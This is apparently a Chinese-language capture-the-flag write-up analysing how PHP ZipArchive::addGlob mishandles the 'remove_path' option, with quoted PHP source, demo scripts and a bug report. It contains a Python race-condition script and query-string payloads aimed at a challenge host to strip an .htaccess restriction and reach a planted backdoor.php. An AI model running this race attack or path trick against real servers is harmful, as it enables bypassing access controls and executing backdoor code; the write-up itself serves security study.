关键点请从my开始看

$dir -> /tmp
$subdir -> /$jsons
$jsonDir -> /tmp/$jsons
$escapeDir -> /var/www/html/$jsons
$archiveFile -> /tmp/$jsons/archive.zip

/tmp/$jsons/backdoor.php
/tmp/$jsons/.htaccess

$dev_dir -> 默认/tmp 可选$

额,变量太多了,直接找吧,貌似是这个利用点,但是为什么还是forbidden呢,环境还有么唉

<?php
$file = 'foo-bar';
touch($file);

$zip = new ZipArchive();
$zip->open('test.zip', ZipArchive::CREATE | ZipArchive::OVERWRITE);
$options = array('add_path' => 'prefix-', 'remove_path' => 'foo-');
$zip->addGlob($file, 0, $options);

for($i = 0; $i < $zip->numFiles; $i++) {
$sb = $zip->statIndex($i);
echo $sb['name'];
}

$zip->close();


Expected result:
----------------
prefix-bar

Actual result:
--------------
prefix-ar

以及这个链接

再copy一份test

--TEST--
ZipArchive::addPattern() method
--CREDITS--
Sammy Kaye Powers <sammyk@sammykmedia.com>
w/Kenzo over the shoulder
#phptek Chicago 2014
--SKIPIF--
<?php
/* $Id$ */
if(!extension_loaded('zip')) die('skip');
?>
--FILE--
<?php
$dirname = dirname(__FILE__) . '/';
include $dirname . 'utils.inc';
$file = $dirname . '__tmp_oo_addpattern.zip';

copy($dirname . 'test.zip', $file);
touch($dirname . 'foo.txt');
touch($dirname . 'bar.txt');

$zip = new ZipArchive();
if (!$zip->open($file)) {
exit('failed');
}
$dir = realpath($dirname);
$options = array('add_path' => 'baz/', 'remove_path' => $dir);
if (!$zip->addPattern('/\.txt$/', $dir, $options)) {
echo "failed\n";
}
if ($zip->status == ZIPARCHIVE::ER_OK) {
dump_entries_name($zip);
$zip->close();
} else {
echo "failed\n";
}
?>
--CLEAN--
<?php
$dirname = dirname(__FILE__) . '/';
unlink($dirname . '__tmp_oo_addpattern.zip');
unlink($dirname . 'foo.txt');
unlink($dirname . 'bar.txt');
?>
--EXPECTF--
0 bar
1 foobar/
2 foobar/baz
3 entry1.txt
4 baz/bar.txt
5 baz/foo.txt

true wp

?action=create&subdir=/tmp
?action=zip&subdir=/tmp&dev=/tmp/.
?action=unzip&subdir=/tmp

换个思路,通过'remove_path'=>$dev_dir 来清除。
要满足 realpath($dev_dir) = $dir 并且删除.htaccess
可以构造 dev=/tmp/.

思路条件竞争create的写入backdoor.php 和htaccess之间进行zip,这样就可以只去掉访问限制

import threading
import requests

# 设置目标 URL
url = "http://web-76898ea9a8.challenge.xctf.org.cn/"
# 创建一个会话对象
sess = requests.session()
# 设置线程信号量,限制并发线程数为 80
t = threading.Semaphore(80)

# 定义清理函数
def clean():
while True:
t.acquire()
p = {"action": "clean", "subdir": "/xxx"}
sess.get(url, params=p)
t.release()

# 定义创建函数
def create():
while True:
t.acquire()
p = {"action": "create", "subdir": "/xxx"}
sess.get(url, params=p)
t.release()

# 定义打包函数
def zip():
while True:
t.acquire()
p = {"action": "zip", "subdir": "/xxx"}
sess.get(url, params=p)
t.release()

# 定义解压函数
def unzip():
while True:
t.acquire()
p = {"action": "unzip", "subdir": "/xxx"}
sess.get(url, params=p)
t.release()

# 创建并启动线程
threading.Thread(target=clean).start()
threading.Thread(target=create).start()
threading.Thread(target=create).start()
threading.Thread(target=zip).start()
threading.Thread(target=unzip).start()

# 检查 backdoor.php 的响应状态
while True:
fh = sess.get(url + "xxx/backdoor.php")
if fh.status_code != 403:
print(fh.text)
break # 如果状态码不是 403 则打印内容并退出循环

my

if ((option = zend_hash_str_find(options, "remove_path", sizeof("remove_path") - 1)) != NULL) {
if (Z_TYPE_P(option) != IS_STRING) {
zend_type_error("Option \"remove_path\" must be of type string, %s given",
zend_zval_type_name(option));
return -1;
}

if (Z_STRLEN_P(option) == 0) {
zend_value_error("Option \"remove_path\" cannot be empty");
return -1;
}

if (Z_STRLEN_P(option) >= MAXPATHLEN) {
zend_value_error("Option \"remove_path\" must be less than %d bytes", MAXPATHLEN - 1);
return -1;
}
opts->remove_path_len = Z_STRLEN_P(option);
opts->remove_path = Z_STRVAL_P(option);
}




else if (opts.remove_path && strstr(Z_STRVAL_P(zval_file), opts.remove_path) != NULL) {
if (IS_SLASH(Z_STRVAL_P(zval_file)[opts.remove_path_len])) {
file_stripped = Z_STRVAL_P(zval_file) + opts.remove_path_len + 1;
file_stripped_len = Z_STRLEN_P(zval_file) - opts.remove_path_len - 1;
} else {
file_stripped = Z_STRVAL_P(zval_file) + opts.remove_path_len;
file_stripped_len = Z_STRLEN_P(zval_file) - opts.remove_path_len;
}
}

他的匹配机制是搜索这个字符,有的话计算长度再从最前面移除,所以只要是在其中出现了的字符都是可以匹配到了,很奇怪的东西

issue

<?php
$zip = new ZipArchive();
$filename = "./test.zip";

if ($zip->open($filename, ZipArchive::CREATE)!==TRUE) {
exit("无法打开 <$filename>\n");
}

$dev_dir = '/test/a.p'; // 设置 remove_path

// 使用 addGlob 添加文件
//$zip->addGlob('/test/test/test/.htaccess', 0, ['add_path' => 'var/www/html/', 'remove_path' => $dev_dir]);
$zip->addGlob('/test/test/a.php', 0, ['add_path' => 'var/www/html/', 'remove_path' => $dev_dir]);
//$zip->addGlob('/test/test/.htaccess', 0, ['add_path' => 'var/www/html/', 'remove_path' => $dev_dir]);

$zip->close();

if ($zip->open($filename) === true) {

$extractPath = '/test';
$zip->extractTo($extractPath);

$zip->close();

$files = scandir($extractPath);
foreach ($files as $file) {
echo $file . "\n";
}
} else {
echo "无法打开 <$filename>\n";
}

result

Pasted%20image%2020231113162752

由于设置的是/test/a.p,原始/test/test/a.php,最后结果/t/a.php
移除了/test/tes这与设置的remove_path长度相同
(不是移除,是指针 )

需要注意的是,只能有唯一的串,如果是多次出现的就没有这个效果了

正如源码里所展示的这样,addGlob展示的remove_path是去除前缀
public ZipArchive::addGlob(string $pattern, int $flags = 0, array $options = []): array|false

- `"remove_path"`

Prefix to remove from matching file paths before adding to the archive.

然而实际上我发现匹配的是整个文件名的内容

if ((zval_file = zend_hash_index_find(Z_ARRVAL_P(return_value), i)) != NULL) {
if (opts.remove_all_path) {
basename = php_basename(Z_STRVAL_P(zval_file), Z_STRLEN_P(zval_file), NULL, 0);
file_stripped = ZSTR_VAL(basename);
file_stripped_len = ZSTR_LEN(basename);
} else if (opts.remove_path && strstr(Z_STRVAL_P(zval_file), opts.remove_path) != NULL) {
if (IS_SLASH(Z_STRVAL_P(zval_file)[opts.remove_path_len])) {
file_stripped = Z_STRVAL_P(zval_file) + opts.remove_path_len + 1;
file_stripped_len = Z_STRLEN_P(zval_file) - opts.remove_path_len - 1;
} else {
file_stripped = Z_STRVAL_P(zval_file) + opts.remove_path_len;
file_stripped_len = Z_STRLEN_P(zval_file) - opts.remove_path_len;
}
} else {
file_stripped = Z_STRVAL_P(zval_file);
file_stripped_len = Z_STRLEN_P(zval_file);
}

而当指定的remove_path是文件路径后半段中的某些部分的时候,指针也会做移动,然而这是错误的,因此我们得到了一个奇怪的答案,这里我们演示一下

/tmp
├── Dire
│ └── This_Is_A_File
└── test.php

2 directories, 2 files

我的演示文件

<?php
$zip = new ZipArchive();
$filename = "./HereIsZip.zip";

if ($zip->open($filename, ZipArchive::CREATE)!==TRUE) {
exit("Wrong!!!\n");
}
$dir = '/tmp/Dire';
$FirstDir = '/Dire/';
$SecondDir = 'This_Is';
$ThirdDir = '/D';
$zip->addGlob('/tmp/Dire/This_Is_A_File', 0, ['add_path' => '/', 'remove_path' => $FirstDir]);
$zip->addGlob('/tmp/Dire/This_Is_A_File', 0, ['add_path' => '/', 'remove_path' => $SecondDir]);
$zip->addGlob('/tmp/Dire/This_Is_A_File', 0, ['add_path' => '/', 'remove_path' => $ThirdDir]);
$zip->addGlob('/tmp/Dire/This_Is_A_File', 0, ['add_path' => '/', 'remove_path' => $dir]);
$zip->close();

if ($zip->open($filename) === true) {

$extractPath = '/tmp';
$zip->extractTo($extractPath);

$zip->close();

} else {
echo "Wrong\n";
}

运行php test.php
结果是

/tmp
├── Dire
│ └── This_Is_A_File
├── HereIsZip.zip
├── ire
│ └── This_Is_A_File
├── mp
│ └── Dire
│ └── This_Is_A_File
├── re
│ └── This_Is_A_File
├── test.php
└── This_Is_A_File

6 directories, 7 files

我想结果非常显然

$dir = '/tmp/Dire' //正常结果,This_Is_A_File
$FirstDir = '/Dire/'; //结果是, ire/This_Is_A_File
$SecondDir = 'This_Is';//结果是 re/This_Is_A_File
$ThirdDir = '/D';//结果是 mp/Dire/This_Is_A_File

我想这很能说明问题,并且和文档描述的Prefix to remove from matching file paths before adding to the archive 不一致

属于我的issue

Pasted%20image%2020231114160912